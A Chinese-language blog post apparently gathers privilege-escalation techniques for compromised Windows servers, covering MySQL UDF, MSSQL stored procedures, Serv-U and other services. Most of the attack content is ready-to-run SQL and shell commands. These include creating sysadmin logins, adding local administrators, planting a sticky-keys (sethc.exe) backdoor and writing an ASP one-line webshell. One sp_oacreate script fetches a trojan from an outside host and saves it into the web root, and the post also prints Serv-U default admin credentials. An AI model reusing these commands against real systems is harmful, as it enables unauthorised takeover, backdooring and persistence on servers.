zoukankan      html  css  js  c++  java
  • [置顶] 关于怎样提权的小帖子

    牛逼版本

    http://blog.csdn.net/eldn__/article/details/8452242

    常见版本

    http://www.jb51.net/hack/21297.html

    http://hi.baidu.com/happy8d/item/6839edc2ba343953ac00efcc

    http://www.webshell.cc/tag/tiquan

    http://sec.chinabyte.com/486/11584486.shtml



    数据库提权

    数据库的提权多用于windows主机,通常windows主机数据库运行在root权限,linux则不然。

    MySQL

    mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。但是对于UDF的具体限制,MYSQL的各个版本各有不同。 

    所以在导出UDF提权之前 ,先确定一下MYSQL的版本是有必要的。

    Pre MySQL 4.1

    在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。无论这个DLL在什么位置,函数的声明是什么样的。

    After MySQL 4.1

    在MYSQL 4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,这样就防止了通过MYSQL非法调用系统的DLL.

    After MYSQL 5.0

    在MYSQL5.0以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者,简单的理解就是不能是绝对路径。所以我们将DLL释放到system32目录,来跳过这个限制..或者放到盘符的根目录下通过c:udf.dll这种形式的写法来跳过限制。后来发现原来只要把dll放到PATH这个环境变量所表示的任何一个目录下面,效果跟放到system32目录下面一样。

    MYSQL 5.1

    再说MYSQL5.1,这里有个问题相信大家会经常遇到的。创建函数时所用的DLL只能放在mysql的plugin目录里面。而且这个plugin目录默认是不存在的。可能就是为了防止通过into dumpfile将DLL来写到这个文件夹。MYSQL是无法创建目录的, 如果into dumpfile的目标目录不存在是会报错的。编写UDF需要实现MySQL特定的接口函数。

    UDF手册

    http://dev.mysql.com/doc/refman/5.1/de/udf-calling.html

    MSSQL

     
    MSSQL有很强大的功能存储过程,可以干很多坏事。
    参阅
    因为这个MSSQL默认是在系统权限下运行的,所以会有很高的权限。
    但是有些情况,会使用低权限的用户运行,扩展过程的DLL,或者一些EXE,被做了权限处理。
    Mssql执行文件一般没有回显,可以重定向到一个文本文件。

    判断权限

    and 1=(select IS_SRVROLEMEMBER('sysadmin')) 
    and 1=(select is_srvrolemember('sysadmin'))
    and 1=(select is_srvrolemember('serveradmin'))
    and 1=(select is_srvrolemember('setupadmin'))
    and 1=(select is_srvrolemember('securityadmin'))
    and 1=(select is_srvrolemember('diskadmin'))
    and 1=(select is_srvrolemember('bulkadmin'))
    and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限
    and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限

    开启与关闭

    2000的话可以使用dropextentedpooc来删除过程,不过2008和2005已经不能够使用了
    exec   master..sp_dropextendedproc   xp_cmdshell 
    恢复存储过程
    dbcc addextendedproc ("sp_oacreate","odsole70.dll")
    exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
    dll与存储过程的关系
     'xp_cmdshell'         'xplog70.dll' 
     'xp_dirtree'          'xpstar.dll' 
     'xp_enumgroups'       'xplog70.dll' 
     'xp_fixeddrives'      'xpstar.dll' 
     'xp_loginconfig'      'xplog70.dll' 
     'xp_regaddmultistring'  'xpstar.dll' 
     'xp_regdeletekey'     'xpstar.dll' 
     'xp_regdeletevalue'   'xpstar.dll' 
     'xp_regread'          'xpstar.dll' 
     'xp_regremovemultistring'  'xpstar.dll' 
     'xp_regwrite'         'xpstar.dll' 
     'xp_enumerrorlogs'    'xpstar.dll' 
     'xp_getfiledetails'   'xpstar.dll' 
     'xp_regenumvalues'    'xpstar.dll'

    在2000以上版本开启关闭的话可以这样
    -- To allow advanced options to be changed.
    EXEC sp_configure 'show advanced options', 1;
    GO
    -- To update the currently configured value for advanced options.
    RECONFIGURE;
    GO
    -- To enable the feature.
    EXEC sp_configure 'xp_cmdshell', 0;
    GO
    -- To update the currently configured value for this feature.
    RECONFIGURE;
    GO


    XP_前缀存储过程

    这个可以最简单的用来执行命令,用之前可以先看一下这个存储过程是否存在。
    select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'  

    XP_CMDSHELL

    执行的话也比较简单,这个需要master数据库的db_onwer权限
    exec master..xp_cmdshell "whoami"


    XP_DIRTREE

    这个函数有三个参数,查询目录(可省略),递归深度  ,是否显示文件。
    利用方法一般是,新建一个表然后把结果写入到其中,在结果集中搜索也可以得到网站根目录,不过较麻烦

    exec master.dbo.xp_dirtree 'c:',1,1


    XP_REGREAD

    就是简单的读注册表
    exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp','PortNumber'
    


    XP_REGWRITE

    就是简单的写注册表
    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE''SOFTWAREMicrosoftJet4.0Engines''SandBoxMode''REG_DWORD'1   

    XP_SERVICECONTROL

    开启关闭某个服务
    exec master..xp_servicecontrol 'stop' ,'schedule'   
    exec master..xp_servicecontrol 'start','schedule'

    SP_前缀存储过程

    sp_addlogin

    exec master.dbo.sp_addlogin test,password
    exec master.dbo.sp_addsrvrolemember test,sysadmin

    sp_oacreate 

    wscript.shell
    执行命令
    use master 
    declare @o int 
    exec sp_oacreate 'wscript.shell',@o out 
    exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:	est.tmp'
    scripting.filesystemobject
    scripting.filesystemobject
    对文件操作
    declare @o int
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o, 'copyfile',null,'c:windowsexplorer.exe' ,'c:windowssystem32sethc.exe';
    declare @oo int
    exec sp_oacreate 'scripting.filesystemobject', @oo out 
    exec sp_oamethod @oo, 'copyfile',null,'c:windowssystem32sethc.exe' ,'c:windowssystem32dllcachesethc.exe';
    Shell.Application
    执行命令
    declare @o int
    exec sp_oacreate 'Shell.Application', @o out
    exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c sc start TermService
    Microsoft.XMLHTTP

    可以实现从网上下载文件

    DECLARE @B varbinary(8000),@hr int,@http INT,@down INT 
    EXEC sp_oacreate [Microsoft.XMLHTTP],@http output  
    EXEC @hr = sp_oamethod @http,[Open],null,[GET],[http://www.test.com/muma.txt],0 
    EXEC @hr = sp_oamethod @http,[Send],null 
    EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output 
    EXEC @hr=sp_oacreate [ADODB.Stream],@down output 
    EXEC @hr=sp_OASetProperty @down,[Type],1 EXEC @hr=sp_OASetProperty @down,[mode],3 
    EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B 
    EXEC @hr=sp_oamethod @down,[SaveToFile],null,[e:www_iismuma.asp],1

    sp_add_job

    use msdb 
    exec sp_delete_job null,'x' 
    exec sp_add_job 'x'
    exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "whoami > c:/q.txt"' 
    exec sp_add_jobserver null,'x',@@servername 
    exec sp_start_job 'x';


    sp_webmaketest

    这个可以简单的写文件
    exec sp_makewebtask 'd:wwwxxxxxx.asp',' select ''<%execute(request("cn"))%>'' '


    ACCESS沙盒模式执行命令

    首先修改注册表
    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1
    之后就可以执行命令了
    select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")')
    这里执行命令用的数据库是系统两个自带数据库,通常存放在
    C:WINDOWSsystem32iasdnary.mdb
    C:WINDOWSsystem32iasias.mdb
    如果数据库不存在的话,可以上传一个,或者使用这样的语句创建一个
    declare @hr int;
    declare @object int;
    declare @property int
    exec @hr = sp_OACreate 'ADOX.Catalog',@object OUTPUT
    exec @hr = sp_OAMethod @object,'Create',@property output,'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml'
    之后执行命令的话,这样执行即可
    select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=SysSetup.xml’,’select shell("whoami")’) 



    ORCALE

    Orcale这个数据库还是很不常见的,但是这个数据有个牛逼特性,能执行java,但是懒得看了,这几篇文章讲得不错。

    ServU


    因为其用户信息保存在ServUDaemon.ini中,密码使用md5加密,如果serv-u在高权限下,就带来了提权的可能。
    也有一些信息在ServUAdmin.exe中。
    默认本地管理端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P
    通常的网马内置的servU提权都是利用了这个内置的管理员来执行命令。
    不过这都是一些低版本的特性,现在11.2基本已经无法利用了

    如果能连接到ftp服务的话,可以尝试使用quote site exe 执行命令,这个需要%home%目录下的执行权限,默认是关闭的
    ftp> quote site exec net.exe user
    550 /net.exe: Permission denied.
    打开之后如果出现
    ftp> quote site exec net.exe user
    550 /net.exe: No such file.
    把目录改变一下即可
    ftp> cd windows/system32
    250 Directory changed to /WINDOWS/system32
    ftp> quote site exec net.exe user
    200 EXEC command successful (TID=42).





    有意思的端口转发
    http://www.spiger.cn/article/206.html

    百度百科
    http://baike.baidu.com/view/1233621.htm

    Serv-u quote site exec
    http://www.hackbase.com/tech/2011-08-26/65140.html

    pcanywhere提权

    这个提权和serv-u类似,覆盖保存密码的文件
    http://chaizp.diandian.com/post/2011-01-29/4262542


    G6FTP 服务器提权

    依旧是读取密码文件
    http://www.myhack58.com/Article/html/3/8/2010/28548.htm

    HASH破解提权

    大概就是,破解SAM的hash值。

    CAIN 嗅探



    VNC密码破解提权(从注册表中读取VNC密码)



    替换服务提权(最古老的提权方法)

    替换自启动的程序,需要修改权限和服务器重启
    http://www.myhack58.com/Soft/html/13/26/2007/2007031310009.htm


    MYSQL root密码提权(最新、最有效的提权方法)

    写入启动项一个VBS
    http://wenku.baidu.com/view/f1928f03eff9aef8941e06af.html

    Tomcat环境提权(利用JSP以系统权限运行)

    多是利用Tamcat后台提权
    http://h.evil.blog.163.com/blog/static/99793504201231021424130/
    http://www.hackerfans.com/hacker-skills/tomcat-hacking.html


    FlashFXP替换文件提权(利用社会工程学)


    修改asp.dll的运行权限提权

    这个不是太懂,大概是修改dll的运行权限~
    http://blog.csdn.net/clofty/article/details/5948755

    利用radmin提权

    这也是一款远控,密码保存在注册表中。
    http://blog.sina.com.cn/s/blog_5efeeff10100l92f.html
    http://www.myhack58.com/Soft/html/13/25/2007/2007082211234.htm
    http://hi.baidu.com/cangbai8/item/e00685c2dab6eb2847d5c0f6


    端口映射


    NC反弹链接




    溢出提权

    比较全的方法
    http://www.365sec.net/post-129.html
    防范措施
    http://server.zdnet.com.cn/server/2007/1026/580517.shtml

  • 相关阅读:
    下班后两小时,决定你将会成为怎样的人?
    快速搭建IE测试环境(Virtualbox+ievms)
    这次,雅虎真的撤销QA团队了
    软件测试之测试用例颗粒度问题
    【转】软件质量谁负责
    定期来一次“绩效谈话”(摘自易中)
    xadmin引入celery4.0执行异步任务与定时任务
    dapi 基于Django的轻量级测试平台三 接口关联
    dapi 基于Django的轻量级测试平台二 前端页面
    dapi 基于Django的轻量级测试平台一 设计思想
  • 原文地址:https://www.cnblogs.com/keanuyaoo/p/3343350.html
Copyright © 2011-2022 走看看